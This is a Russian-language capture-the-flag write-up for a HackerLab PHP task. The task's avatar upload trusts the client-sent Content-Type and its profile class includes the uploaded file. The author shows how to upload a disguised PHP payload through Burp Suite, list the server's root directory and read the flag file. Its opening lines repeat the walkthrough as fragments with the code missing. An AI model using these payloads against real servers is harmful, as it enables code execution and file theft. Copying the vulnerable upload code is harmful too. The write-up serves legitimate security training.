Интересная задачка на HackerLab.
Первое, что мы делаем - идем смотреть исходный код. В ходе изучения, нас привлекут файлы
Видим, что
Что мы будем делать? А мы будем загружать свою "аватарку". Но перед этим создадим аккаунт и зайдем в него.
Кстати, нам понадобится утилита
Итак, приступаем к созданию "аватарки". Это будет php код следующего содержания:
Сохраним этот код в какую-нибудь папку и назовем, скажем,
Нас интересуют строки 17 и 18.
Но это ни в коем случае не плохо! Нам нужно посмотреть исходный код страницы. Там мы увидим следующее:
Видим, что там затесался наш fl4g.txt. Осталось его вытащить. Меняем
И, повторяя те же шаги с Burp Suite, выводим наш флаг в исходный код.
Если кто-то захочет изучить тему подробнее, такая уязвимость называется
Первое, что мы делаем - идем смотреть исходный код. В ходе изучения, нас привлекут файлы
upload.php
и userprofile.php
в папке classes.
PHP:
<?php
session_start();
require_once 'config.php';
require_once 'classes/UserProfile.php';
if (!isset($_SESSION['user_id'])) {
die("Unauthorized");
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['avatar'])) {
$file = $_FILES['avatar'];
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($file['type'], $allowed_types)) {
die("Invalid file type");
}
$extension = '';
switch($file['type']) {
case 'image/jpeg':
$extension = '.jpg';
break;
case 'image/png':
$extension = '.png';
break;
case 'image/gif':
$extension = '.gif';
break;
default:
$extension = '.jpg';
break;
}
$filename = uniqid() . $extension;
$upload_path = "uploads/" . $filename;
if (move_uploaded_file($file['tmp_name'], $upload_path)) {
$_SESSION['avatar'] = $filename;
if (isset($_SESSION['user_profile'])) {
$profile = unserialize(serialize($_SESSION['user_profile']));
$profile->avatar = $filename;
$_SESSION['user_profile'] = $profile;
}
header("Location: index.php");
exit();
}
}
header("Location: index.php");
?>
PHP:
<?php
class UserProfile {
public $username;
public $avatar;
public $theme;
public function __construct($username) {
$this->username = $username;
$this->avatar = 'default.jpg';
$this->theme = 'light';
}
public function loadAvatar() {
$avatarPath = "uploads/" . $this->avatar;
if (file_exists($avatarPath)) {
if (preg_match('/^[a-zA-Z0-9_-]+\.(jpg|jpeg|png|gif)$/i', $this->avatar)) {
ob_start();
include($avatarPath);
$output = ob_get_clean();
return null;
}
}
$this->avatar = 'default.jpg';
return null;
}
}
?>
Видим, что
upload.php
позволяет нам загружать аватар пользователя, а userprofile.php
содержит класс профиля и метод loadAvatar().Что мы будем делать? А мы будем загружать свою "аватарку". Но перед этим создадим аккаунт и зайдем в него.
Кстати, нам понадобится утилита
Burp Suite
. Версия Community Edition бесплатная, ее можно скачать
Ссылка скрыта от гостей
.Итак, приступаем к созданию "аватарки". Это будет php код следующего содержания:
PHP:
<?php $GLOBALS['profile']->theme = print_r(scandir('/'), true); ?>
scandir('/')
- наш главный инструмент. Он просканирует содержимое главной директории и выведет все файлы и папки, которые там есть.Сохраним этот код в какую-нибудь папку и назовем, скажем,
avatarka.php
. Заходим в Burp Suite -> вкладка Proxy -> вкладка Intercept. Включаем Intercept и загружаем нашу "аватарку". Страница уходит в загрузку, а в Burp Suite мы видим следующее:Нас интересуют строки 17 и 18.
filename="avatarka.php"
мы меняем на filename="avatarka.jpg"
, а в Content-Type
меняем значение на image/jpeg
. Делаем мы это для того, чтобы сервер принял наш файл, ведь, очевидно, файл php туда по умолчанию загрузить нельзя. В Burp Suite нажимаем Forward
. Наша аватарка ломается.Но это ни в коем случае не плохо! Нам нужно посмотреть исходный код страницы. Там мы увидим следующее:
Видим, что там затесался наш fl4g.txt. Осталось его вытащить. Меняем
avatarka.php
следующим образом:
PHP:
<?php $GLOBALS['profile']->theme = file_get_contents('/fl4g.txt'); ?>
И, повторяя те же шаги с Burp Suite, выводим наш флаг в исходный код.
Если кто-то захочет изучить тему подробнее, такая уязвимость называется
local file inclusion
. Она позволяет выполнять локальные файлы на сервере.